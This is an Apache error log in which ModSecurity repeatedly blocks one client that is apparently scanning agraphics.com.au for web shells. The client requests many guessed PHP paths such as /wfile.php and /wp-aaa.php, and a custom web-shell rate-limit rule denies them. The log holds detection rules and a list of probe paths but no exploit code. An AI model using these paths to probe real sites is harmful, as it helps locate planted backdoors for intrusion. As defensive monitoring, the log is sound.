[Tue Mar 24 19:35:00.639346 2026] [:error] [pid 3137:tid 3162] [client 52.138.146.177:8114] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "acJ25JdZesutm6dfYM8i9gAAANc"]
[Tue Mar 24 19:35:01.557556 2026] [:error] [pid 38767:tid 38775] [client 52.138.146.177:37115] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "acJ25fwkUqN4GJAI5oUeJgAAAQU"]
[Tue Mar 24 19:35:02.405584 2026] [:error] [pid 3137:tid 3157] [client 52.138.146.177:29031] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "acJ25pdZesutm6dfYM8i-AAAANI"]
[Tue Mar 24 19:35:03.084576 2026] [:error] [pid 3137:tid 3142] [client 52.138.146.177:41819] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wfile.php"] [unique_id "acJ255dZesutm6dfYM8i-gAAAMM"]
[Tue Mar 24 19:35:03.837063 2026] [:error] [pid 3137:tid 3149] [client 52.138.146.177:10991] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wfile.php"] [unique_id "acJ255dZesutm6dfYM8i_QAAAMo"]
[Tue Mar 24 19:35:04.628955 2026] [:error] [pid 3030:tid 3064] [client 52.138.146.177:9043] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wfile.php"] [unique_id "acJ26AyOuILyynfcqflZmgAAAA8"]
[Tue Mar 24 19:35:05.491979 2026] [:error] [pid 3030:tid 3051] [client 52.138.146.177:33092] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wfile.php"] [unique_id "acJ26QyOuILyynfcqflZmwAAAAI"]
[Tue Mar 24 19:35:06.652541 2026] [:error] [pid 38767:tid 38793] [client 52.138.146.177:29026] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "acJ26vwkUqN4GJAI5oUeLwAAARc"]
[Tue Mar 24 19:35:07.419595 2026] [:error] [pid 48128:tid 48163] [client 52.138.146.177:1745] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "acJ268vR4LIMFLbM5Vk06QAAAYs"]
[Tue Mar 24 19:35:08.171231 2026] [:error] [pid 3032:tid 3117] [client 52.138.146.177:1783] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "acJ27Ca_-JXXD03-JNxP6QAAAI4"]
[Tue Mar 24 19:35:09.055188 2026] [:error] [pid 3030:tid 3055] [client 52.138.146.177:1787] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "acJ27QyOuILyynfcqflZowAAAAY"]
[Tue Mar 24 19:35:09.875945 2026] [:error] [pid 48219:tid 48303] [client 52.138.146.177:1784] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/build.php"] [unique_id "acJ27Shf3b4R_lAIyv92mAAAAhY"]
[Tue Mar 24 19:35:10.763429 2026] [:error] [pid 48219:tid 48299] [client 52.138.146.177:7404] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/build.php"] [unique_id "acJ27ihf3b4R_lAIyv92nQAAAhI"]
[Tue Mar 24 19:35:11.657474 2026] [:error] [pid 38767:tid 38770] [client 52.138.146.177:26513] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/build.php"] [unique_id "acJ27_wkUqN4GJAI5oUeOQAAAQA"]
[Tue Mar 24 19:35:12.491479 2026] [:error] [pid 64198:tid 64206] [client 52.138.146.177:55170] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/build.php"] [unique_id "acJ28HVzJqf6OS_oSZ2lKAAAAUY"]
[Tue Mar 24 19:35:13.247669 2026] [:error] [pid 38767:tid 38784] [client 52.138.146.177:1470] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file1.php"] [unique_id "acJ28fwkUqN4GJAI5oUeQQAAAQ4"]
[Tue Mar 24 19:35:13.928965 2026] [:error] [pid 48128:tid 48174] [client 52.138.146.177:1413] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file1.php"] [unique_id "acJ28cvR4LIMFLbM5Vk06wAAAZU"]
[Tue Mar 24 19:35:14.953392 2026] [:error] [pid 48219:tid 48285] [client 52.138.146.177:13517] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file1.php"] [unique_id "acJ28ihf3b4R_lAIyv92oAAAAgQ"]
[Tue Mar 24 19:35:15.807192 2026] [:error] [pid 48219:tid 48301] [client 52.138.146.177:22556] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file1.php"] [unique_id "acJ28yhf3b4R_lAIyv92owAAAhQ"]
[Tue Mar 24 19:35:16.583846 2026] [:error] [pid 38767:tid 38776] [client 52.138.146.177:26515] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "acJ29PwkUqN4GJAI5oUeTAAAAQY"]
[Tue Mar 24 19:35:17.315325 2026] [:error] [pid 48214:tid 48255] [client 52.138.146.177:14977] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "acJ29beshLWZ3uUDHKlmXgAAAcM"]
[Tue Mar 24 19:35:17.955532 2026] [:error] [pid 48219:tid 48295] [client 52.138.146.177:11422] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "acJ29Shf3b4R_lAIyv92pwAAAg4"]
[Tue Mar 24 19:35:18.786652 2026] [:error] [pid 3030:tid 3057] [client 52.138.146.177:41791] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "acJ29gyOuILyynfcqflZpwAAAAg"]
[Tue Mar 24 19:35:19.655049 2026] [:error] [pid 48219:tid 48303] [client 52.138.146.177:47550] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "acJ29yhf3b4R_lAIyv92qQAAAhY"]
[Tue Mar 24 19:35:20.491008 2026] [:error] [pid 38767:tid 38777] [client 52.138.146.177:8695] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "acJ2-PwkUqN4GJAI5oUeWAAAAQc"]
[Tue Mar 24 19:35:21.506929 2026] [:error] [pid 38767:tid 38779] [client 52.138.146.177:53169] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "acJ2-fwkUqN4GJAI5oUeXwAAAQk"]
[Tue Mar 24 19:35:22.731213 2026] [:error] [pid 38767:tid 38794] [client 52.138.146.177:32032] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "acJ2-vwkUqN4GJAI5oUeZQAAARg"]
[Tue Mar 24 19:35:24.633534 2026] [:error] [pid 48214:tid 48269] [client 52.138.146.177:7946] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "acJ2_LeshLWZ3uUDHKlmZAAAAdE"]
[Tue Mar 24 19:35:25.544208 2026] [:error] [pid 3032:tid 3105] [client 52.138.146.177:11516] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "acJ2_Sa_-JXXD03-JNxP9AAAAII"]
[Tue Mar 24 19:35:26.706158 2026] [:error] [pid 48219:tid 48291] [client 52.138.146.177:15100] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "acJ2_ihf3b4R_lAIyv92uwAAAgo"]
[Tue Mar 24 19:35:28.255874 2026] [proxy_fcgi:error] [pid 48219:tid 48284] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:28.555041 2026] [proxy_fcgi:error] [pid 48219:tid 48299] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:28.887640 2026] [proxy_fcgi:error] [pid 48219:tid 48305] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:29.400500 2026] [proxy_fcgi:error] [pid 48219:tid 48292] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:29.782008 2026] [proxy_fcgi:error] [pid 48219:tid 48301] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:30.060805 2026] [proxy_fcgi:error] [pid 48219:tid 48283] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:30.460796 2026] [proxy_fcgi:error] [pid 48219:tid 48297] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:30.816130 2026] [proxy_fcgi:error] [pid 48219:tid 48300] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:31.125268 2026] [proxy_fcgi:error] [pid 48219:tid 48304] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:31.538685 2026] [proxy_fcgi:error] [pid 48219:tid 48295] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:31.817031 2026] [proxy_fcgi:error] [pid 48219:tid 48298] [client 52.138.146.177:47488] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:35:32.087152 2026] [:error] [pid 48219:tid 48289] [client 52.138.146.177:47488] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cabs.php"] [unique_id "acJ3BChf3b4R_lAIyv92zwAAAgg"]
[Tue Mar 24 19:35:32.888072 2026] [:error] [pid 3032:tid 3106] [client 52.138.146.177:37055] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cabs.php"] [unique_id "acJ3BCa_-JXXD03-JNxP_wAAAIM"]
[Tue Mar 24 19:35:34.557204 2026] [:error] [pid 3032:tid 3111] [client 52.138.146.177:26533] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cabs.php"] [unique_id "acJ3Bia_-JXXD03-JNxQAgAAAIg"]
[Tue Mar 24 19:35:35.364590 2026] [:error] [pid 3030:tid 3063] [client 52.138.146.177:14497] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cabs.php"] [unique_id "acJ3BwyOuILyynfcqflZtAAAAA4"]
[Tue Mar 24 19:35:36.078762 2026] [:error] [pid 48219:tid 48281] [client 52.138.146.177:26540] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "acJ3CChf3b4R_lAIyv921gAAAgA"]
[Tue Mar 24 19:35:37.548362 2026] [:error] [pid 3032:tid 3112] [client 52.138.146.177:13517] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "acJ3CSa_-JXXD03-JNxQCgAAAIk"]
[Tue Mar 24 19:35:38.465178 2026] [:error] [pid 3032:tid 3107] [client 52.138.146.177:37037] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "acJ3Cia_-JXXD03-JNxQEgAAAIQ"]
[Tue Mar 24 19:35:39.245691 2026] [:error] [pid 48219:tid 48287] [client 52.138.146.177:53138] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "acJ3Cyhf3b4R_lAIyv925QAAAgY"]
[Tue Mar 24 19:35:39.923417 2026] [:error] [pid 3032:tid 3109] [client 52.138.146.177:10885] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "acJ3Cya_-JXXD03-JNxQFwAAAIY"]
[Tue Mar 24 19:35:40.742493 2026] [:error] [pid 38767:tid 38783] [client 52.138.146.177:14485] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "acJ3DPwkUqN4GJAI5oUeggAAAQ0"]
[Tue Mar 24 19:35:41.597921 2026] [:error] [pid 3030:tid 3051] [client 52.138.146.177:10899] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "acJ3DQyOuILyynfcqflZwAAAAAI"]
[Tue Mar 24 19:35:42.351789 2026] [:error] [pid 64198:tid 64216] [client 52.138.146.177:37109] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "acJ3DnVzJqf6OS_oSZ2lQwAAAVA"]
[Tue Mar 24 19:35:43.382683 2026] [:error] [pid 64198:tid 64223] [client 52.138.146.177:1659] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/031.php"] [unique_id "acJ3D3VzJqf6OS_oSZ2lRQAAAVc"]
[Tue Mar 24 19:35:44.116705 2026] [:error] [pid 48219:tid 48297] [client 52.138.146.177:31603] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/031.php"] [unique_id "acJ3EChf3b4R_lAIyv92-gAAAhA"]
[Tue Mar 24 19:35:44.938895 2026] [:error] [pid 38767:tid 38787] [client 52.138.146.177:11158] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/031.php"] [unique_id "acJ3EPwkUqN4GJAI5oUeiAAAARE"]
[Tue Mar 24 19:35:46.478370 2026] [:error] [pid 3032:tid 3122] [client 52.138.146.177:31567] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/031.php"] [unique_id "acJ3Eia_-JXXD03-JNxQIgAAAJM"]
[Tue Mar 24 19:35:48.066878 2026] [:error] [pid 3032:tid 3128] [client 52.138.146.177:29530] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about3.php"] [unique_id "acJ3FCa_-JXXD03-JNxQKQAAAJg"]
[Tue Mar 24 19:35:49.248896 2026] [:error] [pid 38767:tid 38778] [client 52.138.146.177:26177] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about3.php"] [unique_id "acJ3FfwkUqN4GJAI5oUelgAAAQg"]
[Tue Mar 24 19:35:50.434993 2026] [:error] [pid 64198:tid 64202] [client 52.138.146.177:11195] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about3.php"] [unique_id "acJ3FnVzJqf6OS_oSZ2lVgAAAUI"]
[Tue Mar 24 19:35:51.214506 2026] [:error] [pid 64198:tid 64222] [client 52.138.146.177:11198] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about3.php"] [unique_id "acJ3F3VzJqf6OS_oSZ2lVwAAAVY"]
[Tue Mar 24 19:35:52.677044 2026] [:error] [pid 64198:tid 64204] [client 52.138.146.177:31490] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "acJ3GHVzJqf6OS_oSZ2lYgAAAUQ"]
[Tue Mar 24 19:35:53.430045 2026] [:error] [pid 64198:tid 64206] [client 52.138.146.177:15705] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "acJ3GXVzJqf6OS_oSZ2laAAAAUY"]
[Tue Mar 24 19:35:54.318728 2026] [:error] [pid 38767:tid 38783] [client 52.138.146.177:12985] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "acJ3GvwkUqN4GJAI5oUemwAAAQ0"]
